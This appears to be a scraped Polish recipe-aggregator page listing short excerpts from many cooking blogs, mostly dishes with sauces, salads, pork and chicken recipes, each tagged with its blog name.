www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Uwielbiam tak przyrządzonego kalafiora i mogę go podjadać bez żadnych dodatków. Może stanowić samodzielną przekąskę i być podawany z dowolnym sosem. Sprawdzi się też jako dodatek obiadowy. kalafior 2 jajka + 2-3 łyżki mleka bułka tarta olej sól Kalafiora ugotować w osolonej wodzie, ostudzić i podzielić na mniejsze różyczki. Jajka rozmieszać z mlekiem

Di gotuje
Gnocchi - włoskie kluski 193

truflami i ten smak czuję do dzisiaj. Niestety ja takich nie przygotowałam, bo grzybów takich nie posiadam :) . Podałam polane ziołowym masełkiem, ale możecie również je podać z pomidorami lub sosem pieczarkowym. Przepis na nasze kopytka znajdziecie tutaj Składniki 1 kg ugotowanych ziemniaków 250 g mąki pszennej 50 g mąki kukurydzianej 1 jajko sól szczypta gałki muszkatołowej dodatkowo 70 g masła

O kuchni z uczuciem
Zapiekanka gyros z makaronem 396

plasterki. Jogurt, śmietanę, ketchup,jajko i przyprawy mieszamy ze sobą. Do naczynia do zapiekania wysypujemy połowę makaronu, na to kurczaka i warzywa, nakrywamy drugą połową makaronu. Na całość wylewamy sos i posypujemy startym żółtym serem. Zapiekamy w piekarniku nagrzanym do 180 C przez około 25 minut

e-PrzepisyKulinarne
Fuczki czyli łemkowskei placuszki z kapustą kiszoną 219

żeby była podgotowana wtedy placki są delikatniejsze i miękkie. Smaży się je bardzo prosto i nie przyklejają się do dna patelni, nie rozpadną na patelni. Podać je można z sosami, jako dodatek do mięsa czy również ze śmietaną. Ja podałam z kremem z trybuli i to było znakomite połączenie. Fuczki czyli placuszki z kapustą kiszoną. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Szarlotka z bezą i robot kuchenny MRK-05 203

przystawki do krojenia w kostkę – dwie wielkości kostek przystawka miksująca ze stali nierdzewnej przystosowana do pracy w wysokiej temperaturze przystawka do ubijania piany z białek, lekkich kremów i sosów mieszadło do wyrabiania ciasta dwustronna tarcza o grubych oczkach do krojenia w plastry i siekania warzyw i owoców tarcza do ucierania ziemniaków lampka kontrolna stanu pracy uchwyt do zawieszania

Kulinaria - potrawy z różnych stron świata
Pączkowy zawrót głowy w serialu iZombie - pączki wiedeńskie 193

sezon 1, odcinek 6, również zajadają się pączkami. Sama bohaterka, Olivia Moore, która niefortunnie stała się zombie, normalnie odżywia się (jak na zombie przystało) mózgami, ewentualnie potrawy doprawia pikantnymi sosami. Tym razem jednak przyszło jej zjeść mózg osoby uwielbiającej pączki (każdy zaś zjedzony mózg wpływa na jej osobowość), więc zajada się pączkami (i nie tylko). Zresztą nie ona jedna

Passions hobbies life
Risotto z papryką, pieczarkami i kurczakiem w curry 310

sposób na szybki, pożywny i niebanalny obiad! Raz - dwa można wyczarować coś pysznego. Dzisiaj przedstawiam orientalne danie ryżowe - wilgotne, napęczniałe i aromatyczne risotto z papryką, pieczarkami z kurczakiem w sosie curry! Coś dla każdego :) Danie jest jednogarnkowe i właściwie robi się samo - jedyne co należy do nas to pokrojenie warzyw, następnie wrzucanie wszystkiego kolejno na patelnię, mieszanie i oczekiwanie wśród

aa-kuku - czyli jak żyć zdrowo i pysznie!
ROLESKI. 148

wysokich kosztów na reklamę. Lider rynku W następnych latach pozycja Firmy Roleski na rynku tzw. przypraw mokrych umacniała się. Ich  oferta poszerzyła się o nowe produkty: keczupy, koncentraty, sosy majonezowe. Największy sukces rynkowy odniosła jednak zupełnie inna kategoria – musztardy. Sarepska, Stołowa, Chrzanowa z logo Roleski należą do najczęściej wybieranych przez Polaków musztard, a co trzeci słoiczek musztardy sprzedawany

Sama słodycz i szczypta chili
Potrawka z drobiowych serc. 194

Dziś propozycja obiadowa, myślę że lubicie?! Zapraszam! Składniki; 50  dag drobiowych serc 3 marchewki 1 cebula liść laurowy, ziele angielskie, sól, pieprz 2 łyżki sosu sojowego 2 łyżki śmietany 18% natka pietruszki 1 łyżka mąki 2 łyżki oleju Przygotowanie; Serca dokładnie myjemy, odcinamy niepotrzebne żyły i tłuszcz. Kroimy na mniejsze kawałki jeśli są duże. Cebule pokroić w drobną

Radość kipiąca uśmiechem.
Ryż zapiekany z jabłkami 222

rozkładamy na 4 miseczki. Następnie dodajmy porcjami usmażone i potarte jabłka, następnie przykrywamy jabłka pozostałą porcją ryżu. Do śmietany dodajemy cukier puder i cukier waniliowy. Mieszamy i gotowy śmietanowy sos dodajemy na ryż.  Na samą górę dodajemy startą cytrynę i po szczypcie brązowego cukru. Zapiekamy przez 20-30 minut w temp. 180*C Smacznego :) Wiem ,że dzisiaj jest tłusty

W Moim Magicznym Domu
Ziemniaczane naleśniki 554

może jako krokiety? Dobre są zawsze i wszędzie. Tym razem zaproponuję naleśniki z tartymi ziemniakami, inne niż tradycyjne ale jakie pyszne . Ja podałam je z surówką chińską [ klik ] i sosem z mango [ klik ] , kombinacja rewelacyjna. Polecam gorąco. Ziemniaczane naleśniki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Faszerowane bataty 209

tofu dodaj połowę wydrążonych części batatów, a resztę schowaj do lodówki, przyda się za dwa dni. Odłóż około 1/3 masy i wymieszaj z resztą mleka i masz już sos (w razie potrzeby dopraw, jeżeli okaże się np. za rzadki mój sposób, do dodanie skibki chleba bez skórki i ponownie dokładne zbelndowanie). Do reszty masy dodaj odsączoną kukurydzę, wymieszaj łyżką. Wypełnij

greenscarf
AROMATYCZNA ROLADA Z BOCZKU Z FARSZEM Z WARZYW 225

rolada boczkowa jest super alternatywą do sklepowych "wynalazków".  Soczysta, aromatyczna, z nutą czosnku i cebuli sprawdza się jako pyszny dodatek do chleba, albo serwują jako z ziemniakami i sosem jako danie obiadowe. Składniki: 1kg boczku surowego bez skóry  sól pieprz ziołowy majeranek słodka papryka Na farsz: 2 średnie cebule 2 ząbki czosnku 3-4 pieczarki 1/2 czerwonej papryki

Walijskie Pichcenie
Schab pieczony 180

pieczemy jeszcze 70 min. Po tym czasie rozcinamy folię i pieczemy schaba do zrumienienie 10-15 min. Gotowe mięso wyciągamy z piekarnika i odstawiamy na chwilę. Pozostałym po pieczeniu sosem możemy polać schab po wyłożeniu na talerz, najlepiej pieczone mięsa smakują z ziemniakami i jakąś domową surówką np. colesław

Piekielna Kuchnia Pati
Piekielnie ostre roladki z kurczaka z farszem z suszonych pomidorów i oliwek 249

smażymy na rozgrzanym oleju na patelni na rumiano z każdej strony. Możemy podawać piersi w całości lub pokrojoną w grube plastry. Jako dodatek oprócz ziemniaków możemy podać np: Sos z pieczarek 5-6 większych pieczarek, 1 mała cebula,  1/4 szklanki białego wina 1/2 małego opakowania śmietany sól, pieprz Cebulę kroimy w kostkę podsmażamy na oleju, jak zacznie być już

Piekielna Kuchnia Pati
Sałatka z tuńczyka z kapustą pekińską 372

odświeżyła i nadała większej soczystości. Sałatka jest bardzo szybka do przygotowania, wystarczy 20 - 30 minut i mamy pyszne, lekkie i sycące jedzonko. Składniki: (duża porcja) 2 puszki tuńczyka w sosie własnym 1 duża papryka 1/2 średniej kapusty pekińskiej 3/4 puszki kukurydzy konserwowej 6 - 7 suszonych pomidorów 2 - 3 ząbki czosnku 2 - 3 łyżki dobrego majonezu 200 g makaronu razowego

Kuchcik gotuje
Pasta jajeczna z awokado 183

cennymi składnikami awokado i z dodatkiem tuńczyka to doskonała energia na rozpoczęcie dnia. Polecam z chrupkim razowym pieczywem. Składniki: 5 jaj 1 dojrzałe awokado 1 puszka tuńczyka w sosie własnym ½ cebuli czerwonej 1 ząbek czosnku Pęczek natki pietruszki 2 łyżki jogurtu naturalnego 1 łyżeczka soku z limonki Biały pieprz do smaku Sól do smaku Sposób przygotowania: Awokado kroimy na pół

Wanilia i Kardamon
Szybki makaron z sosem pomidorowo - paprykowym 227

paprykę. Gdy warzywa zmiękną, dodajemy pomidory. Przyprawiamy solą, sporą ilością pieprzu, czosnkiem i papryką - słodką hojnie, ostrej wystarczy szczypta. Na ziołach nie oszczędzamy, musi być ich dużo :) Gdy nasz sos jest już doprawiony, wystarczy wrzucić do niego ugotowany makaron, dokładnie wymieszać i gotowe :) Smacznego

Kulinarne zapędy Kokosa
Potrawka orientalna z kurczakiem 192

czerwona papryka 1 mieszanka chińska 450 g (u mnie kuchnia eksperta) 1 puszka ananasa 1 mały sok pomidorowy (330 ml) przyprawy: sól, pieprz, curry, kurkuma, chilli do zagęszczenia sosu: 1-2 łyżki mąki pszennej Wrocławskiej + nieco wody do potrawy ryż WYKONANIE Pora umyć, pokroić w krążki (tylko białą część), przełożyć do głębokiej patelni i skropić oliwą. Piersi z kurczaka

Passions hobbies life
Fuczki - placki z kiszonej kapusty 213

czasie kiszoną kapustę odcisnąć z nadmiaru soki, posiekać drobno. Dodać do ciasta naleśnikowego, przyprawić pieprzem i resztą przypraw, wymieszać dokładnie. Smażyć jak placki ziemniaczane. Podawać z naturalnym jogurtem, śmietaną, sosem mięsnym, z dodatkiem surówek - co nam tylko do głowy przyjdzie. Jeśli lubicie placki, to spróbujcie też moim placków z cukinii ...lub mojej wersji szwajcarskich placków ziemniaczanych rösti

Codzienna kuchnia niecodzienna
Gniazdka 172

więc jutro rano zabierzcie się za ich przygotowanie! Składniki (na 16-20 gniazdek): 250 ml mleka 50 gram masła 200 gram mąki szczypta soli 3 jajka 2 łyżki cukru sos czekoladowy: 50 gram czekolady deserowej, 50 ml kremówki, 20 ml mleka cukier puder + szczypta cynamonu 1 litr oleju rzepakowego do smażenia 16-20 kwadratów o boku 8-10 cm wyciętych

Mango Papaja
Tarta z cukinią, porem i papryką (quiche) 149

ciepło jak i na zimno. Ja zawsze komponuje do niej rybę i pyszną, letnią sałatkę z roszpunką lub rukolą, pomidorami, koprem włoskim ze słonecznikiem. Oczywiście do tego sos miodowo-musztardowy . Przepis tutaj . Ciasto: 1 i 3/4 szklanki mąki 100 g masła 1 jajko i 1 żółtko duża szczypta soli 3 łyżki zimnej wody Wszystkie wymienione składniki na ciasto kruche zagniatamy

Calzonella.com
Kurczak curry z mleczkiem kokosowym, gruszką i migdałami 172

KURCZAK W SOSIE CURRY Z GRUSZKĄ I PŁATKAMI MIGDAŁÓW CURRY wszelkiego rodzaju po prostu uwielbiam, jak całą kuchnię hinduską. Cenię ją za zróżnicowane przyprawy, wyrazistość potraw i ich nieziemski smak. Jeśli wychodzimy z rodziną do restauracji, to bardzo często jest to właśnie kuchnia indyjska. Przepis na to curry nie jest może do końca związany z Indiami, ale gwarantuje, że smak

Calzonella.com
Szybka pasta z tuńczyka na kanapki 190

tuńczyka na kanapki. Idealna nie tylko na śniadanie czy kolacje ale również do pracy. Pyszna alternatywa dla osób które dbają o linię.   SKŁADNIKI: Puszka Tuńczyka w Sosie Własnym  4 Ogórki Konserwowe 1 Cebula lub 3 Szalotki sól i pieprz 4 Łyżki jogurtu naturalnego  PRZYGOTOWANIE: Tuńczyka odcedzam z wody, przekładam do miseczki. Cebulkę obieram, kroję w kostkę

Gotowanie Patki
Ciekawostki kulinarne: jarmuż 189

proc. składa się z wody. Osoby zmagające się z chorobami tarczycy i kamicą szczawianową powinny unikać jarmużu. Przepisy na potrawy z jarmużem: Sałatka z tuńczykiem i jarmużem z sosem sezamowym Pasta z jarmużu i pieczarek Frittata z jarmużem i pomidorami

My Chcemy Jeść
Gołąbki bez kapusty lub kotlety a'la gołąbki 245

drugim, jeśli jest taka potrzeba). Zalać to bulionem z kostki rosołowej.  Gotować na małym ogniu około 30 min.  Wykładać na talerze, opcjonalnie z pozostałego bulionu można zrobić sos np. pomidorowy. Smacznego

Tagebuch po polsku
Tapas Party. Menu na imprezę. 188

sera koziego, gorgonzola deska śródziemnomorskich wędlin (chorizo, salami, szynka parmeńska lub Jamon Serrano) roladki z pieczonej papryki i koziego sera roladki z cukinii z suszonymi pomidorami, gorgonzolą i bazylią sos tzatziki paluszki grissini świeża bagietka Sałatki: sałatka z pieczonych buraków z gorgonzolą i orzechami włoskimi sałatka z pomarańczy i kopru włoskiego turecka sałatka z ciecierzycy Na ciepło: ekspresowe calzone pieczarki

Chilli Czosnek i Oliwa
Atlantyckie Kombu 159

geotermalnej. Atlantyckie Kombu jest podobne do Japońskiego Kombu. Znane jest również jako Oarweed, plątanina wodorostów morskich. W Islandii nazywane jest hrossaþari. Kombu wykorzystuje się jako przyprawę do zup, gulaszu, sosów czy dań z warzyw

Mama Gotuje
Churros. 136

olej wyciskamy pręciki długości około 10 cm. Smażymy z każdej strony około 2 min na rumiano. Wyjmować na ręcznik papierowy do odsączenia. Następnie oprószyć cukrem pudrem. Ja podałam z sosem toffi.                Smacznego

Radość kipiąca uśmiechem.
Kotlety mielone z piekarnika (pieczone) 210

też inne warianty np. zamiast jajka dodanie ziemniaka, czy rezygnacja z bułki tartej... W smaku są delikatne, miękkie i troszkę inne niż te klasyczne. Idealnie pasują do różnego rodzaju sosów, lecz ja je uwielbiam bez względu na to, czy są z dodatkami - czy bez.      300-400g mięsa mielonego 1 cebula 2 ząbki czosnku 1 sucha bułka

Di gotuje
wegański naleśnik ryżowy z farszem niespodzianką 174

odrobina oleju kokosowego do smażenia farsz: 4 łyżki czerwonej fasoli (ugotowanej) 1/2 szklanki groszku z marchewką (u mnie mrożony) świeży grzyb shitake czubata łyżka mleka kokosowego 1,5 łyżeczki sosu sojowego świeże zioła: rozmaryn, bazylia, szczypiorek * przyprawy: curry, czarnuszka, czosnek granulowany * *przyprawy i zioła polecam dodawać w ilości odpowiedniej do naszych upodobań WYKONANIE Płatki owsiane mielimy na mąkę, następnie mieszamy

healthy dreams
Danie chińskie 321

podwójne piersi z kurczaka 1,5 szklanki ryżu dwie garście rodzynek kapusta pekińska tłuszcz do smażenia marynata: 2 jajka 2 łyżeczki mąki ziemniaczanej 4 łyżki oleju 2 łyżki sosu sojowego 2 łyżki "Maggie" w płynie 2 łyżeczki curry 2 łyżeczki chilli Sposób przygotowania: Piersi z kurczaka kroimy w cienkie paseczki. Wkładamy do miski. Dodajemy składniki marynaty. Mięso dokładnie mieszamy. Dokładamy

Pobite gary Barbary
Rosół Domowy 217

tego wymaga. Podajemy z makaronem z dodatkiem natki pietruszki. Uwaga! Należy pamiętać, że najlepiej podawać rosół na gorąco. Pamiętajmy, że z mięsa, które gotowało się w rosole można zrobić sosy, farsze i inne smakołyki. Smacznego

ChilliJemy
Huevos rancheros, czyli jajka po meksykańsku 313

rozgrzewamy 2 łyżki oleju rzepakowegp, przesmażamy cebulę, aż będzie szklista. Dodajemy papryczkę, wędzoną paprykę i czosnek. Smażymy przez 2 minuty i dodajemy pomidory i cukier. Mieszamy i dusimy, aż sos nieco zgęstnie, posypujemy natka. Ziemniaki kroimy w dużą kostkę, chorizo w plasterki, a potem w paski. Na drugiej nieco większej patelni rozgrzewamy 2 łyżki oleju rzepakowego, wrzucamy chorizo, chwilę smażymy

Kulinarne przygody Gatity
Coconut adventure 205

krewetki oraz losoś nie straciły swojej soczystości. Pod koniec dodać mleko kokosowe, zagotować i zdjać z "ognia". Doprawić sczypta soli do smaku. Na talerz nakładamy porcję makaronu, dodajemy sos z owocami morza. Na wierzch posypujemy od serca posiekana swieża zielona cebulka oraz delikatnie papryczka chili. Calość skropić sokiem z limonki. Gotowe :) Smacznego

Lajtkraft food intolerance
Zucchini fusilli time 217

mieszamy. Dokrapiamy reszta limonki. Ważne, aby mięsa nie przetrzymać na "ogniu" aby nie stwardniało. Na talerz wykładamy fusilli, ma wierzch zalewamy sosem koksowym z mięskiem i cukinia. Eksplozja smaków...yhm... :) Smacznego

Lajtkraft food intolerance
Wegetariański pasztet pomidorowy – dwie wersje 255

biała cześć) pół małego selera szalotka ząbek czosnku (wszystkie warzywa ugotowane do miękkości, ja wykorzystałam warzywa z rosołu który gotowałam dzień wcześniej) 3-4 łyżki ugotowanej kaszy jaglanej łyżka sosu sojowego 3 łyżki oliwy 3 łyżki przecieru pomidorowego KROKUS łyżeczka majeranku łyżeczka lubczyku łyżeczka suszonej cebuli spora szczypta pieprzu i soli opcjonalnie do podania czarnuszka z suszonymi pomidorami i czosnkiem

Mienta blog
Ciasto na pizzę 203

semoliną lub kaszą manną. Z każdej porcji ciasta ręcznie uformować placek. Jeżeli będzie się wydawało, że ciasta jest za mało, to zupełnie właściwie, a ciasta jest akurat. ;) Placki posmarować sosem pomidorowym zachowując niewielki brzeg. Na wierzchu ułożyć wybrane dodatki. Piec w wysokiej temperaturze na dolnym poziomie piekarnika do zrumienienia brzegów. U mnie w 275°C to ok. 7-8 minut

Pełny talerz
SAŁATKA Z WĘDZONEGO ŁOSOSIA, SERA PLEŚNIOWEGO I KRUCHEJ SAŁATY 209

Sałatę umyć, osuszyć i porwać na kawałki. Łososia pokroić w  dużą  kostkę, ser również. Oliwę połączyć z cytryną (do smaku). Składniki sałatki delikatnie wymieszać i polać sosem. Oprószyć świeżo zmielonym pieprzem.  Sałatki nie solę ze względu na obecność słonego sera i stosunkowo słonego łososia

Walijskie Pichcenie
Sałatka vege z tofu 199

osoby : 200 gr serka tofu 2 garście mixu sałat 2 łyżki kukurydzy 2-3 łodygi selera naciowego marynata do tofu: papryka ostra, zioła prowansalskie, sól i pieprz, kilka kropel sosu sojowego oliwa do smażenia Dresing : 2 łyżki jogurtu  ząbek czosnku mała papryczka chilli (ew. słodka mielona aby było łagodniej) łyżeczka musztardy d'jon sól, pieprz Przygotowanie : Ser tofu kroimy

Mechanik w kuchni
Deser truskawkowy bezglutenowy 144

przez sito i pozbawić pestek. Zmiksowane truskawki (3-4 łyżki pozostawić do dekoracji!) wlać do mleka. Wymieszać. Przygotowaną mleczną masę przelać do pucharków/literatek. Ostudzić. Przed podaniem udekorować pozostawionym sosem truskawkowym i ewentualnie świeżymi truskawkami

Ugotować
Pana cotta waniliowa 142

plastikowych pojemników ciężko będzie wyjąć pana cottę, dlatego przygotowałam ją w silikonowych foremkach. Wanilia sprawia, że deser ten dobrze smakuje bez żadnych dodatków, choć następnym razem wypróbuję połączenie z sosem truskawkowym. Tym razem po prostu pana cotta zniknęła, zanim zabrałam się za jego przygotowanie.. Składniki z których wyszło mi 10 mini deserków: 250ml śmietanki 250ml mleka 80g cukru laska

Wrzosowa Polana
SURÓWKA Z SELERA 188

drobnych oczkach.  Skrapiamy sokiem z cytryny i posypujemy cukrem oraz skórką z cytryny. Mieszamy. W szklance mieszamy majonez ze śmietaną.   Do selera przekładamy odsączone rodzynki, polewamy sosem i doprawiamy pieprzem. Mieszamy i odstawiamy aby składniki się "przegryzły". SMACZNEGO

Prosto i Smacznie z Anetą
Duszony schab z warzywami 262

Całość dusić pod przykryciem, aż będą miękkie. U mnie to zajęło około 1,5 godziny. Po tym czasie wlać stopniowo śmietankę, wymieszać. Chwilę pogotować. Na koniec jeżeli stwierdzimy, że sos jest zbyt rzadki, można go zagęścić mąką, którą uprzednio rozrabiamy z wodą - a następnie dodajemy powolutku do dania. Mieszamy i jeszcze chwilę wszystko razem gotujemy. linkwithin_text='Zobacz również inne

Świat Domowej Kuchni
babka z ryzem 214

Piec w nagrzanym piekarniku do 200 ° C około 30-35minut do złotego koloru. Po upieczeniu na formę położyć talerz i poprzez odwrócenie wyjąć potrawę z formy.ps.do tego miałam sos pomidorowy .Ciasto jest bardzo kruche i smaczne,polecam

w mojej kuchni
Schab duszony w pomidorach 188

Schab jest chudym mięsem, które łatwo przesuszyć. Duszenie mięsa powoduje, ze jest ono bardzo miękkie i soczyste a powstały sos pomidorowy przesiąknięty aromatem mięsa. Łatwe i niewymagające danie obiadowe dla całej rodziny. SKŁADNIKI: 1kg schabu bez kości łyżka masła łyżka oliwy sól, czarny pieprz, słodka papryka, czosnek granulowany, oregano 5 gałązek selera naciowego 500-600g pomidorów lub 2 puszki

Pyry na Gaz
Pulpety wieprzowo - drobiowe 215

placek, nakładamy porcję fileta i zawijamy pulpety. Gotujemy w bulionie warzywnym na małym ogniu ok. 15 minut. My przygotowaliśmy z duszoną marchewka i groszkiem, ale można podać z pieczarkami, sosem pomidorowym lub według własnego uznania. Smacznego

Maminek kulinarny
Sałatka z tuńczykiem 399

tuńczykiem. Sprawdzi się zarówno na śniadanie lub kolację jak i na imprezę ze znajomymi. Sałatkę podałam w miseczce z serii "Malta" od Porcelany Bogucice.  2 puszki tuńczyka w sosie własnym 130g drobnego makaronu, np. ryż papryka 4 ogórki konserwowe 4 jajka puszka kukurydzy 1/2 czerwonej cebuli 1/3 szkl słonecznika aól pieprz 2-3 łyżki majonezu Makaron ugotować wg przepisu

Smakołyki Asi
Pizza misz masz... 154

wkładamy do piekarnika nagrzanego do ok.180C i pieczemy około 15 min. Później foremkę wysuwamy a na wierzchu układamy ser. Pieczemy do momentu roztopienia się sera. Możemy podać z ulubionymi sosami. Gotowe

Radość kipiąca uśmiechem.
Makaron z wędzonym łososiem, szpinakiem i kremowym serkiem (Fit) 337

kolejny fajny przepis na szybki i smaczny obiad do przygotowania dosłownie w 15 minut.  Tym razem potrzeba zaledwie kilku składników, by stworzyć pyszny sos. Makaron z wędzonym łososiem i szpinakiem jest niezwykle zdrowym i smacznym daniem, ponadto bardzo prostym w przygotowaniu. Przepis pochodzi ze strony Kwestia Smaku Czas przygotowania: 15 minut Ilość porcji: 4 Składniki: Makaron pełnoziarnisty penne

Kolizje Smaków
Sałatka z kurczakiem curry, granatem i olejem rzepakowym 190

układamy pokroje listki sałaty lodowej, na niej układamy listki rukoli, pokrojoną pierś, kawałki pomarańczy i ziarenka granatu. W szklance mieszamy 3 łyżki oleju, ocet balsamiczny, sól i pieprz. Przygotowanym sosem polewamy sałatkę i od razu podajemy

Kulinarne przygody Gatity
Placuszki z kalarepą 178

drożdżowe cały czas mieszając. Nakładamy łyżką porcje na rozgrzaną patelnię (najlepiej z odrobiną tłuszczu). Smażymy z obu stron na rumiany kolor. Podajemy gorące – np u nas w towarzystwie sosu pomidorowego z dodatkiem chilli oraz kukurydzy i zielonego groszku

Szybko Tanio Smacznie
Makaron z warzywami i serem gorgonzola 287

Wpis pochodzi z www.mgotuje.pl Makaron z warzywami z sosem gorgonzola to pomysł na szybki, lekki i kolorowy obiad lub kolację. W sklepach Lidl możecie zakupić włoskie produkty z którymi przygotujecie pyszne włoskie specjały. W ofercie możecie znaleźć makarony, szynki, sery, oliwy z oliwek i wiele innych produktów. Zachęcam

Marta Gotuje
placuszki z kiszonej kapusty z boczkiem i pieczarkami 219

Jeśli będzie zbyt geste dolać mleka. Dodać farsz kapuściany i wymieszać. Na rozgrzany tłuszcz kłaść po łyżce ciasta i smażyć z obu stron na złoto. Podawać z ketchupem lub sosem czosnkowym

Domowa Cukierenka-Domowa Kuchnia
Batatowe frytki z piekarnika. 120

około 15 min, po tym czasie blaszkę wyjmujemy a frytki odwracamy na druga stronę i znów pieczemy około 15 min. do momentu aż będą miękkie. Podajemy z sosem pomidorowym lub czosnkowym. Smacznego

Radość kipiąca uśmiechem.
Pierożki na słono z ciasta francuskiego 273

francuskiego z wędliną, serem, oliwkami i papryką. Zrobiłam je na kolację z składników, które akurat miałam w lodówce. W szafce znalazł się również sos słodko – kwaśny, który podałam do pierożków. W ten sposób wyczarowałam w ciągu 30 minut świetną przekąskę, która sprawdzi się na kolację lub szybką

Marta Gotuje
,,Cykoria otulona szynką parmeńską’’ 145

czasie czosnek przeciskamy przez praskę, dodajemy jogurt, majonez, przyprawiamy według uznania i mieszamy. Cykorię zawijajamy w plasterki szynki i sera. Układamy je w natłuszczonym naczyniu żaroodpornym i polewamy przygotowanym sosem. Zapiekamy ok. 20 minut aż ser się zrumieni

Podróż w kulinaria
Sałatka z mandarynkami, kurczakiem i pestkami z dyni 198

Sałaty płuczę i rozdrabniam. Do sałaty dodaję kurczaka, pestki dyni oraz mandarynki. Delikatnie mieszam.  3. Jogurt naturalny mieszam z sokiem z cytryny, cukrem oraz przyprawami.  Przygotowanym sosem polewam sałatkę

Tradycyjna kuchnia Kasi
Udka kurczaka w sosie własnym 164

listki laurowe i zalać bulionem lub wodą tak, aby przykrył mięso. Gotować na średnim ogniu do miękkości, przed końcem gotowania w razie konieczności przyprawić solą i pieprzem. Zagęścić sos mąką rozrobioną w wodzię, zagotować. Można podawać np. z ziemniakami i buraczkami. Smacznego

talerz przyjemności
Pizza Stromboli 2525

danie. Stromboli można zabrać ze sobą do pracy jako drugie śniadanie, czy dać dziecku do szkoły. Można także postawić na stole zamiast nuggetsów czy obok nich i podać z sosem czosnkowym na domówce pełnej znajomych. Z pewnością zrobi furorę :) Przygotowałam przepis na bazie wody, z mąką typ 550 która jest odpowiednikiem włoskiej 00 i na drożdżach instant - muszę przyznać

Poezja Smaków - blog kulinarny
Lekka sałatka z brokułem i tuńczykiem 484

Dietetyczna, ale pożywna sałatka z brokułem, tuńczykiem i jajkiem. Szybka i nieskomplikowana. Porcja ma tylko 224 kcal. Składniki (na 4 porcje): brokuł puszka tuńczyka w sosie własnym (kawałki) puszka kukurydzy 4 jajka 4 łyżki jogurtu naturalnego płaska łyżeczka chrzanu sól, pieprz Przygotowanie Brokuła dzielimy na różyczki i gotujemy do miękkości w osolonej wodzie. Jajka gotujemy na twardo. Kukurydzę wysypujemy

e-PrzepisyKulinarne
Sałatka makaronowa z papryką 149

kosteczkę. Makaron gotujemy al dente, odcedzamy, studzimy. Brokuł sparzamy gorącą wodą, dzielimy na mniejsze cząstki. Czosnek przeciskamy przez praskę, mieszamy z majonezem i jogurtem. Wszystkie składniki mieszamy, zalewamy sosem majonezowym, doprawiamy solą i pieprzem

Gotowanie moimi oczami
szpinakowo-kokosowe pesto z pieczonymi kasztanami i makaronem z tapioki 168

miesiące temu, zaopatrzyłam się w ogromne ilości wszelkiego rodzaju niecodziennych makaronów. Teraz staram się je stopniowo wykorzystywać. Nietypowe makarony zasługują na nietypowe podanie. Dlatego eksperymentuję, z różnymi rodzajami sosów i pest wzbogacając je małą orientalną nutką. Do tego dodatek pieczonych kasztanów, które stają się coraz bardziej popularne i doceniane. W dzisiejszym obiadku wykorzystałam wszystko, na co mam aktualną "fazę", czyli

healthy dreams
Gulasz w sosie grzybowo- serowym 202

Nowa odsłona tradycyjnego gulaszu. Delikatna nuta serowa bardzo smacznie podkreśla intensywny smak grzybów. Zapraszam! Gulasz w sosie grzybowo-serowym Składniki: 500g mięsa gulaszowego 2 duże garści suszonych grzybów 3 trójkąciki serka topionego śmietankowego  2 średnie cebule  2 łyżki oliwy 2,5 szklanki wrzątku sól, pieprz Przygotowanie: Mięso opłukać zimną wodą. Oprószyć solą i pieprzem. Grzyby zalać wrzątkiem

Tagebuch po polsku
Schab duszony z cebulą 277

angielskiego, liście laurowe, czerwoną paprykę, sól, pieprz i musztardę. Dusić pod przykryciem do momentu aż mięso będzie miękkie. Od czasu do czasu zamieszać. W razie potrzeby na koniec zagęścić sos.  Smacznego

W kuchni u Moniki
Tosty francuskie z gruszkami flambirowanymi w whisky 210

podsmaż na nim gruszki – do momentu aż zmiękną, dopraw cynamonem. Zwiększ płomień, dolej whisky i podpal. Po chwili dodaj miód, całość zamieszaj. Tosty podawaj z gruszkami oraz powstałym sosem i z jogurtem naturalnym. Smacznego ! * Ważne by patelnia nie była za wysoka. Łatwiej będzie Wam podpalić gruszki

Moja pasja smaku
Makaronowe Rurki z Pesto i Tuńczykiem 190

SKŁADNIKI: 1 Puszka Tuńczyka w Sosie Własnym 20 dag dowolnego makaronu 1 słoiczek pesto pomidorowego ok 10 zielonych oliwek 10 dag sera żółtego  SPOSÓB PRZYGOTOWANIA: Makaron gotuję tak jak na instrukcji na opakowaniu  Tuńczyka odcedzam z wody dodaję do miski Do tuńczyka dodaję pesto  Oliwki kroję w talarki  Ser żółty trę na tarcę o grubych oczkach

Gotowanie Patki
Jajka po szkocku 228

obiadek. U mnie mówią w domku na to kotlety mielone z niespodzianką. Robi się je w miarę szybko. Można je jeść na ciepło lub na zimno. Świetnie smakują z sosem chrzanowym lub musztardowym. Jeśli jeszcze nie próbowaliście to polecam, a jeżeli już robiliście to właśnie Wam przypominam o tym przepisie. Składniki 6 jajek ugotowanych 500 g mięsa mielonego 1 łyżeczka

O kuchni z uczuciem
Gołąbki inaczej 246

bulionu (rosołu) i układamy gołąbki w naczyniu.Naczynie żaroodporne przykrywamy. Piekarnik 180 stopni góra dół i pieczemy godzinę i 20-30 minut. I GOTOWE.Do tego na koniec gołąbki polewany ulubionym sosem może być koncentrat pomidorowy lub inny.SMACZNEGO

Domowe wyroby.Coś do chleba i talerza.
Pikantny sos do kanapek 244

pomidorami. Dodajemy do niego ocet oraz cukier. Całość gotujemy przez około 40-60 minut, aż wszystko zgęstnieje i warzywa będą miękkie. Pod koniec dodajemy słodką paprykę,i przyprawy. Nasz sos przekładamy do suchych i wcześniej wyparzonych słoików, zakręcamy. Pasteryzujemy przez około 20-25 minut.SMACZNEGO

Domowe wyroby.Coś do chleba i talerza.
Smażona kiełbasa z warzywami 154

nadaje temu daniu odświeżający smak i aromat. Spróbujcie także tego dania w wersji z piekarnika, myślę, że Wam posmakuje, a jako dodatek możecie podać ulubiony, domowy keczup czy inny sos. Zachęcam Was do przygotowania także p ieczonej kiełbasy z warzywami w oliwie z rozmarynem . Smażona kiełbasa z warzywami Składniki: 1/2 szklanki ciecierzycy z puszki 2 łyżki czerwonej fasoli z puszki

Moja smaczna kuchnia
Podudzia z kurczaka nadziewane papryką i pieczarkami. 185

ułożyć w naczyniu żaroodpornym spięciem do dołu, dodatkowo wlać około pół szklanki wody do naczynia. Piec około godz. w 180C. W trakcie pieczenia kilka razy mięso polewać wytworzonym sosem.   Smacznego

Radość kipiąca uśmiechem.
Orkiszowe zapiekanki z oscypkiem 288

